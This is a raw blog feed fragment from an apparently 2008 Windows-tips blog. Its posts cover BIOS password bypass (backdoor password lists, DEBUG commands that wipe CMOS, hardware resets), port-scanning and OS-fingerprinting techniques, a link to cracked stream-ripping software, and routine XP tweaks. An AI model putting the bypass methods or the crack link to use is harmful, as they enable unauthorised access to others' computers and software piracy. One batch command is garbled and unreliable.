/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/1157273210401128341/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=1157273210401128341' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1157273210401128341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/1157273210401128341'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/10/ip-address-explained.html' title='IP address explained'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5273428909250332078</id><published>2008-10-27T17:45:00.001-07:00</published><updated>2008-10-27T17:45:54.042-07:00</updated><title type='text'>hacking bios</title><content type='html'>&lt;p&gt;&lt;span style=""&gt;&lt;span style=""&gt;&lt;strong&gt;Standard BIOS backdoor passwords&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;The first, less invasive, attempt to bypass a BIOS password is to try on of these standard&lt;br /&gt;manufacturer’s backdoor passwords:&lt;br /&gt;&lt;span style=""&gt;&lt;strong&gt;AWARD BIOS&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;AWARD SW, AWARD_SW, Award SW, AWARD PW, _award, awkward, J64, j256,&lt;br /&gt;j262, j332, j322, 01322222, 589589, 589721, 595595, 598598, HLT, SER,&lt;br /&gt;SKY_FOX, aLLy, aLLY, Condo, CONCAT, TTPTHA, aPAf, HLT, KDD, ZBAAACA,&lt;br /&gt;ZAAADA, ZJAAADC, djonet,&lt;br /&gt;&lt;strong&gt;&lt;span style=""&gt;AMI BIOS&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;AMI, A.M.I., AMI SW, AMI_SW, BIOS, PASSWORD, HEWITT RAND, Oder&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Other passwords you may try (for AMI/AWARD or other BIOSes)&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;LKWPETER, lkwpeter, BIOSTAR, biostar, BIOSSTAR, biosstar, ALFAROME, Syxz, Wodj,phonix,toshiba&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt; remember that passwords are Case Sensitive.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;hacking BIOS via software&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;If you have access to the computer when it’s turned on, you could try one of those&lt;br /&gt;programs that remove the password from the BIOS, by invalidating its memory.&lt;/p&gt; &lt;p&gt;&lt;span id="more-266"&gt;&lt;/span&gt;&lt;br /&gt;However, it might happen you don’t have one of those programs when you have access&lt;br /&gt;to the computer, so you’d better learn how to do manually what they do. You can reset&lt;br /&gt;the BIOS to its default values using the MS-DOS tool DEBUG (type DEBUG at the&lt;br /&gt;command prompt. You’d better do it in pure MS-DOS mode, not from a MS-DOS shell&lt;br /&gt;window in Windows). Once you are in the debug environment enter the following&lt;br /&gt;commands:&lt;br /&gt;&lt;strong&gt;AMI/AWARD BIOS&lt;/strong&gt;&lt;br /&gt;O 70 17&lt;br /&gt;O 71 17&lt;br /&gt;Q&lt;/p&gt; &lt;p&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;PHOENIX BIOS&lt;/strong&gt;&lt;br /&gt;O 70 FF&lt;br /&gt;O 71 17&lt;br /&gt;Q&lt;br /&gt;&lt;strong&gt;GENERIC&lt;/strong&gt;&lt;br /&gt;Invalidates CMOS RAM.&lt;br /&gt;Should work on all AT motherboards&lt;br /&gt;(XT motherboards don’t have CMOS)&lt;br /&gt;O 70 2E&lt;br /&gt;O 71 FF&lt;br /&gt;Q&lt;br /&gt;Note that the first letter is a “O” not the number “0″. The numbers which follow are two&lt;br /&gt;bytes in hex format.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;Hacking BIOS via hardware&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;If you can’t access the computer when it’s on, and the standard backdoor passwords&lt;br /&gt;didn’t work, you’ll have to flash the BIOS via hardware. Please read the important notes&lt;br /&gt;at the end of this section before to try any of these methods.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Using the jumpers&lt;/strong&gt;&lt;br /&gt;The canonical way to flash the BIOS via hardware is to plug, unplug, or switch a jumper&lt;br /&gt;on the motherboard (for “switching a jumper” I mean that you find a jumper that joins&lt;br /&gt;the central pin and a side pin of a group of three pins, you should then unplug the&lt;br /&gt;jumper and then plug it to the central pin and to the pin on the opposite side, so if the&lt;br /&gt;jumper is normally on position 1-2, you have to put it on position 2-3, or viceversa).&lt;br /&gt;This jumper is not always located near to the BIOS, but could be anywhere on the&lt;br /&gt;motherboard.&lt;br /&gt;To find the correct jumper you should read the motherboard’s manual.Once you’ve located the correct jumper, switch it (or plug or unplug it, depending from&lt;br /&gt;what the manual says) while the computer is turned OFF. Wait a couple of seconds then&lt;br /&gt;put the jumper back to its original position. In some motherboards it may happen that&lt;br /&gt;the computer will automatically turn itself on, after flashing the BIOS. In this case, turn&lt;br /&gt;it off, and put the jumper back to its original position, then turn it on again. Other&lt;br /&gt;motherboards require you turn the computer on for a few seconds to flash the BIOS.&lt;br /&gt;If you don’t have the motherboard’s manual, you’ll have to “bruteforce” it… trying out all&lt;br /&gt;the jumpers. In this case, try first the isolated ones (not in a group), the ones near to the&lt;br /&gt;BIOS, and the ones you can switch (as I explained before). If all them fail, try all the&lt;br /&gt;others. However, you must modify the status of only one jumper per attempt, otherwise&lt;br /&gt;you could damage the motherboard (since you don’t know what the jumper you&lt;br /&gt;modified is actually meant for). If the password request screen still appear, try another&lt;br /&gt;one.&lt;br /&gt;If after flashing the BIOS, the computer won’t boot when you turn it on, turn it off, and&lt;br /&gt;wait some seconds before to retry.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Removing the battery&lt;/strong&gt;&lt;br /&gt;If you can’t find the jumper to flash the BIOS or if such jumper doesn’t exist, you can&lt;br /&gt;remove the battery that keeps the BIOS memory alive. It’s a button-size battery&lt;br /&gt;somewhere on the motherboard (on elder computers the battery could be a small,&lt;br /&gt;typically blue, cylinder soldered to the motherboard, but usually has a jumper on its side&lt;br /&gt;to disconnect it, otherwise you’ll have to unsolder it and then solder it back). Take it&lt;br /&gt;away for 15-30 minutes or more, then put it back and the data contained into the BIOS&lt;br /&gt;memory should be volatilized. I’d suggest you to remove it for about one hour to be&lt;br /&gt;sure, because if you put it back when the data aren’t erased yet you’ll have to wait more&lt;br /&gt;time, as you’ve never removed it. If at first it doesn’t work, try to remove the battery&lt;br /&gt;overnight.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Important note&lt;/strong&gt;: in laptop and notebooks you don’t have to remove the computer’s power&lt;br /&gt;batteries (which would be useless), but you should open your computer and remove the&lt;br /&gt;CMOS battery from the motherboard.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Short-circuiting the chip&lt;/strong&gt;&lt;br /&gt;Another way to clear the CMOS RAM is to reset it by short circuiting two pins of the&lt;br /&gt;BIOS chip for a few seconds. You can do that with a small piece of electric wire or with&lt;br /&gt;a bended paper clip. Always make sure that the computer is turned OFF before to try&lt;br /&gt;this operation.&lt;br /&gt;Here is a list of EPROM chips that are commonly used in the BIOS industry. You may&lt;br /&gt;find similar chips with different names if they are compatible chips made by another&lt;br /&gt;brand. If you find the BIOS chip you are working on matches with one of the following&lt;br /&gt;you can try to short-cicuit the appropriate pins. Be careful, because this operation may&lt;br /&gt;&lt;strong&gt;damage&lt;/strong&gt; the chip.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;em&gt;Important&lt;/em&gt;&lt;/strong&gt;&lt;br /&gt;Whether is the method you use, when you flash the BIOS not only the password, but&lt;br /&gt;also all the other configuration data will be reset to the factory defaults, so when you are&lt;br /&gt;booting for the first time after a BIOS flash, you should enter the CMOS configuration&lt;br /&gt;menu (as explained before) and fix up some things.&lt;br /&gt;Also, when you boot Windows, it may happen that it finds some new device, because of&lt;br /&gt;the new configuration of the BIOS, in this case you’ll probably need the Windows&lt;br /&gt;installation CD because Windows may ask you for some external files. If Windows&lt;br /&gt;doesn’t see the CD-ROM try to eject and re-insert the CD-ROM again. If Windows can’t&lt;br /&gt;find the CD-ROM drive and you set it properly from the BIOS config, just reboot with&lt;br /&gt;the reset key, and in the next run Windows should find it. However most files needed by&lt;br /&gt;the system while installing new hardware could also be found in C:\WINDOWS,&lt;br /&gt;C:\WINDOWS\SYSTEM, or C:\WINDOWS\INF .&lt;/p&gt; &lt;p&gt;change C with your windows drive letter if it is not in C drive&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5273428909250332078?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5273428909250332078/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5273428909250332078' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5273428909250332078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5273428909250332078'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/10/hacking-bios.html' title='hacking bios'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-995571076499426389</id><published>2008-10-27T17:44:00.000-07:00</published><updated>2008-10-27T17:45:19.903-07:00</updated><title type='text'>port scanning technique</title><content type='html'>&lt;p&gt;&lt;strong&gt;Port Scanning&lt;/strong&gt;: Port scanning is the process of connecting to TCP and UDP ports on a target system to determined what services are running or in a LISTENING state. Identifying listening ports is critical to determine the type of operating system and applications in use. Active services that are listening may allow an unauthorized user to gain access to systems that are misconfigured or running a version of software known to have security vulnerabilities.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Different Port Scanning Types&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;CP Connect Scan&lt;/span&gt;&lt;/strong&gt; – This type of scan connects to the target port and completes a full three way handshake (SYN, SYN / ACK, and ACK). It’s easily detected by the target system&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;TCP SYN Scan&lt;/strong&gt; &lt;/span&gt;– This technique is called half one scanning because a full TCP connection is not made. Instead a SYN packet is sent to the target port. If a (SYN / ACK) is received from the target port, we can deduce that it is in the LISTENING state. If an (RST / ACK) is received, it usually means that the port is not in the LISTENING state. An (RST / ACK) will be sent by the systems performing port scans so that a full connection is never established. This technique has the advantage of being stealthier than a Full TCP Connect is, and may not be logged by the target systems.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;TCP FIN Scan&lt;/strong&gt; &lt;/span&gt;– This technique send a FIN packet to the target port. The target system should send back an RST for all closed ports. This technique usually only works on a UNIX based (TCP / IP) stack.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;TCP Xmas Tree Scan&lt;/span&gt;&lt;/strong&gt; – This technique send a FIN, URG, and PUSH packet to the target port. Based on RFC 793, the target system should send back an RST for all closed ports.&lt;/p&gt; &lt;p&gt;&lt;span id="more-270"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;TCP Null Scan&lt;/strong&gt; &lt;/span&gt;– This technique turns off all flags. Based on RFC 793, the target system should send back an RST for all closed Ports.&lt;br /&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;strong&gt; TCP ACK Scan&lt;/strong&gt;&lt;/span&gt; – This technique is used to map out firewall rulesets. It can help determine if the firewall is a simple packet filter allowing only established connections (Connections with an ACK bit site) or a stateful firewall that is performing advance packet filtering.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;TCP Window Scan&lt;/strong&gt; &lt;/span&gt;– This technique may detect open as well as filtered nonfiltered ports on some systems (AIX and FreeBSD) due to an anomaly in the way the TCP window size is reported.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;TCP RPC Scan&lt;/strong&gt; &lt;/span&gt;– This technique is specific for UNIX systems and is used to detect and identify Report Procedure (RPC) ports and their associated program and version numbers.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;UDP Scan&lt;/strong&gt; &lt;/span&gt;– This technique sends a UDP packet to the target port. If the target port responds with an “ICMP port unreachable” message, the port is closed. Conversely, if we don’t receive an “ICMP port unreachable” message, we can deduce the port is open. Since UDP is known as a connectionless protocol, the accuracy of this technique is highly depend on many factors related to the utilization’s of network and system resources. In addition UDP scanning is a very slow process if you are trying to scan a device that employs heavy packet filtering. If you plan on doing UDP scans over the Internet be ready for unreliable results.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Active Stack Fingerprinting&lt;/span&gt;&lt;/strong&gt;: Stack fingerprinting is an extremely powerful technology that allows you to quickly ascertains each host operation system with a high degree of probability. Essentially, there are many nuances that very between one venders Internet protocol (IP) stack implementation and another’s. Vendors often interpret specific RFC guidance differently when writing there TCP / IP stack. Thus by probing for these differences, we can begin to make an educated guess about the operating system in use. For maximum reliability, stack fingerprinting generally requires at least one listen port.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;Passive Stack Fingerprinting&lt;/strong&gt;:&lt;/span&gt; Passive stack fingerprinting is similar in concept to active stack fingerprinting. Instead of sending packets to the target system, however, an attacker passively monitors the network traffic to determine the operating system in use. Thus, by monitoring network traffic between various systems, we can determine the operating systems on a network&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;Passive Signatures&lt;/strong&gt;:&lt;/span&gt; Various signatures can be used to identify an operating system. Below are several associated with a TCP / IP session.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;some terms used in port scanning&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;FIN Probe&lt;/span&gt;&lt;/strong&gt; – A Find packet is sent to an open port. As mentioned RFC 793 states that the correct behavior is not to respond. However many stack implements (Such As Windows NT) will respond with as FIN/ACK.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Bogus Flag Probe&lt;/span&gt;&lt;/strong&gt; – An undefined TCP flag is set in the TCP Header of a SYN packet. Some operating systems such as (Linux) will respond with the flag set in there respond packet.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Initial Sequence Number (ISN) Sampling&lt;/span&gt;&lt;/strong&gt; – The basics premise is to find a pattern in the initial sequence chose by the TCP implementation when responding to a connection request.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;Don’t Fragment Bit Monitoring&lt;/strong&gt; &lt;/span&gt;– Some operation systems will set the “Don’t Fragment Bit” to enhance performance. This bit can be monitored to determine what types of operation systems exhibit this behavior.&lt;/p&gt; &lt;p&gt;&lt;span style=""&gt;&lt;strong&gt;TCP Initial Window Size&lt;/strong&gt; &lt;/span&gt;– Initial window size on returned packets is tracked. For some stack implementations, this size is unique and can be greatly added tot he accuracy of the fingering mechanism.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;ACK Value&lt;/span&gt;&lt;/strong&gt; – Internet Protocols (IP) stacks differ in the sequence value used for the ACK field, so some implementations will send back the sequences number you sent, and others will send back a sequence number +1.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;ICMP Error Message Quenching&lt;/span&gt;&lt;/strong&gt; – Operating system may follow RFC 1812 and limit rate at which error messages are sent. By sending UDP packets to some random high numbered ports, you can count the number of unreachable messages received within a given amount of time.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;ICMP Message Quoting&lt;/span&gt; &lt;/strong&gt;– Operating systems differ in the amount of information that is quoted when ICMP errors are encountered. By examining the quoted message, you might be able to make some assumptions on the target operating system.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Type Of Service (TOS)&lt;/span&gt;&lt;/strong&gt; – For “ICMP port unreachable” messages, the TOS is examined. Most stack implementations use 0,but this can vary.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;Fragmentation Handling&lt;/span&gt; &lt;/strong&gt;– Different stacks handle overlapping fragments differently. Some stacks will overwrite the old data with new data and vice versa.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;span style=""&gt;TCP Options&lt;/span&gt;&lt;/strong&gt; – By sending a packet with multiple options set, such as no operation, maximum segment size, window scale factor and timestamps, it is possible to make some assumptions about the target system.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-995571076499426389?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/995571076499426389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=995571076499426389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/995571076499426389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/995571076499426389'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/10/port-scanning-technique.html' title='port scanning technique'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-5093607879150476095</id><published>2008-08-05T11:17:00.002-07:00</published><updated>2008-08-05T11:18:09.079-07:00</updated><title type='text'>write a cd more than 700 mb</title><content type='html'>&lt;h3 class="smller"&gt;&lt;br /&gt;&lt;/h3&gt; &lt;div class="para"&gt; Start Nero&lt;br /&gt;&lt;br /&gt;From the action-bar select File and select Preferences.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the Preferences window, select Expert Features(1) and check the Enable overburn disc-at-once(2).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Choose a Maximum CD Length(3) and click OK(4) (*82:59:59 is the maximum value I suggest,&lt;br /&gt;&lt;br /&gt;For a more accurate test you can use a nero tool called nero speed test to see how much a specific CD is capable of being over burned . get it here&lt;br /&gt;&lt;br /&gt;From the action-bar select File and select Write CD.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A window will appear when you have exceeded expected length, click OK to start the overburn copy.&lt;br /&gt;&lt;br /&gt;Remember to set disk to burn Disc at Once, you cannot overburn in Track at Once Mode. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-5093607879150476095?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/5093607879150476095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=5093607879150476095' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5093607879150476095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/5093607879150476095'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/08/write-cd-more-than-700-mb.html' title='write a cd more than 700 mb'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-6156146987422776704</id><published>2008-08-05T11:17:00.001-07:00</published><updated>2008-08-05T11:17:45.979-07:00</updated><title type='text'>how to remove extra os from boot menu</title><content type='html'>If you have more then one operating system installed or wish&lt;br /&gt;to remove an operating system from the boot menu, you can use the following information.&lt;br /&gt;&lt;br /&gt;1.Click on Start, Control Panel, System, Advanced.&lt;br /&gt;2.Under Startup and Recovery, click Settings.&lt;br /&gt;3.Under Default Operating System, choose one of the following:&lt;br /&gt;&lt;br /&gt;"Microsoft Windows XP Professional /fastdetect"&lt;br /&gt;-or-&lt;br /&gt;"Microsoft Windows XP Home /fasdetect"&lt;br /&gt;-or-&lt;br /&gt;"Microsoft Windows 2000 Professional /fastdetect"&lt;br /&gt;&lt;br /&gt;4.Take the checkmark out of the box for "Time to display a list of Operating Systems".&lt;br /&gt;5.Click Apply and Ok, and reboot the system.&lt;br /&gt;&lt;br /&gt;*If you wish to edit the boot.ini file manually, click on the button "EDIT"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-6156146987422776704?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/6156146987422776704/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=6156146987422776704' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6156146987422776704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/6156146987422776704'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/08/how-to-remove-extra-os-from-boot-menu.html' title='how to remove extra os from boot menu'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-3639720079200110551</id><published>2008-08-05T11:16:00.002-07:00</published><updated>2008-08-05T11:17:10.458-07:00</updated><title type='text'>stream audio</title><content type='html'>&lt;h3 class="smller"&gt;&lt;br /&gt;&lt;/h3&gt;  How Download MP3s from any Streaming Audio/Video Page&lt;br /&gt;&lt;br /&gt;Part1&lt;br /&gt;&lt;br /&gt;1- Download “CoCSoft Stream Down” here:&lt;br /&gt;&lt;br /&gt;http:// www. &lt;a href="http://ddl2.com/download-CoCsoft-StreamDown-v6.0-full-version-with-crack-serial-keygen-268919" target="_blank"&gt;ddl2.com/download-CoCsoft-StreamDown-v6.&lt;wbr&gt;0-full-version-with-crack-serial-keygen-&lt;wbr&gt;268919&lt;/a&gt;. html&lt;br /&gt;&lt;br /&gt;remove spaces&lt;br /&gt;&lt;br /&gt;2- Go to any other Streaming Audio/Video Page (like MTV or VH1) search&lt;br /&gt;for your Artist or Band, and play your song, a pop up will appear, with a&lt;br /&gt;windows player preview, then, right clic on this player, and click on “properties”&lt;br /&gt;&lt;br /&gt;3- Will appear a options,stay in “File” tag, go down to “Location” Select all the link address and copy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4- Go to “CoCSoft Stream Down” program, and click on “ADD” icon, and paste the link address, that u copied on the page, choose your directory to download, and clic in Ok&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5- Now, You are downloading the .ASF File&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6-use any converter to convert asf file to mp3&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-3639720079200110551?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/3639720079200110551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=3639720079200110551' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3639720079200110551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/3639720079200110551'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/08/stream-audio.html' title='stream audio'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-7100548513906368865</id><published>2008-08-05T11:16:00.001-07:00</published><updated>2008-08-05T11:16:28.856-07:00</updated><title type='text'>how long have been your xp is running</title><content type='html'>&lt;h3 class="smller"&gt;&lt;br /&gt;&lt;/h3&gt; &lt;div class="para"&gt; How Long Has Your System Been Running?&lt;br /&gt;&lt;br /&gt;Here's how you verify system uptime:&lt;br /&gt;&lt;br /&gt;Click Start | Run and type cmd to open a command prompt.&lt;br /&gt;At the prompt, type systeminfo&lt;br /&gt;&lt;br /&gt;Scroll down the list of information to the line that says System Up Time.&lt;br /&gt;&lt;br /&gt;This will tell you in days, hours, minutes and seconds how long the system has been up.&lt;br /&gt;&lt;br /&gt;Note that this command only works in XP Pro, not in XP Home. You can, however, type net statistics workstation at the prompt in Home. The first line will tell you the day and time that the system came online. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-7100548513906368865?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://winarbab.blogspot.com/feeds/7100548513906368865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2186942356576182589&amp;postID=7100548513906368865' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7100548513906368865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2186942356576182589/posts/default/7100548513906368865'/><link rel='alternate' type='text/html' href='http://winarbab.blogspot.com/2008/08/how-long-have-been-your-xp-is-running.html' title='how long have been your xp is running'/><author><name>ARBAB</name><uri>http://www.blogger.com/profile/10694103112053341464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2186942356576182589.post-4910951938656241488</id><published>2008-08-05T11:14:00.000-07:00</published><updated>2008-08-05T11:15:57.556-07:00</updated><title type='text'>boot xp faster</title><content type='html'>&lt;h3 class="smller"&gt;&lt;br /&gt;&lt;/h3&gt; &lt;div class="para"&gt; First of all, this tweak only apply to those who only have one HDD on their primary IDE channel (nothing else on device 0 or 1) and a CD-ROM and/or DVD-ROM on the secondary IDE channel. Each time you boot Windows XP, there's an updated file called NTOSBOOT-*.pf who appears in your prefetch directory (%SystemRoot%Prefetch) and there's no need to erease any other files as the new prefetch option in XP really improves loading time of installed programs. We only want WindowsXP to boot faster and not decrease its performance.&lt;br /&gt;&lt;br /&gt;1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) &amp;amp; save as "ntosboot.bat" in c:&lt;br /&gt;2. From the Start menu, select "Run..." &amp;amp; type "gpedit.msc".&lt;br /&gt;3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.&lt;br /&gt;4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file &amp;amp; click "Open".&lt;br /&gt;5. Click "OK", "Apply" &amp;amp; "OK" once again to exit.&lt;br /&gt;6. From the Start menu, select "Run..." &amp;amp; type "devmgmt.msc".&lt;br /&gt;7. Double click on "IDE ATA/ATAPI controllers"&lt;br /&gt;8. Right click on "Primary IDE Channel" and select "Properties".&lt;br /&gt;9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' &amp;amp; click "OK".&lt;br /&gt;10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.&lt;br /&gt;11. Reboot your computer.&lt;br /&gt;&lt;br /&gt;WindowsXP should now boot REALLY faster. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2186942356576182589-4910951938656241488?l=winarbab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 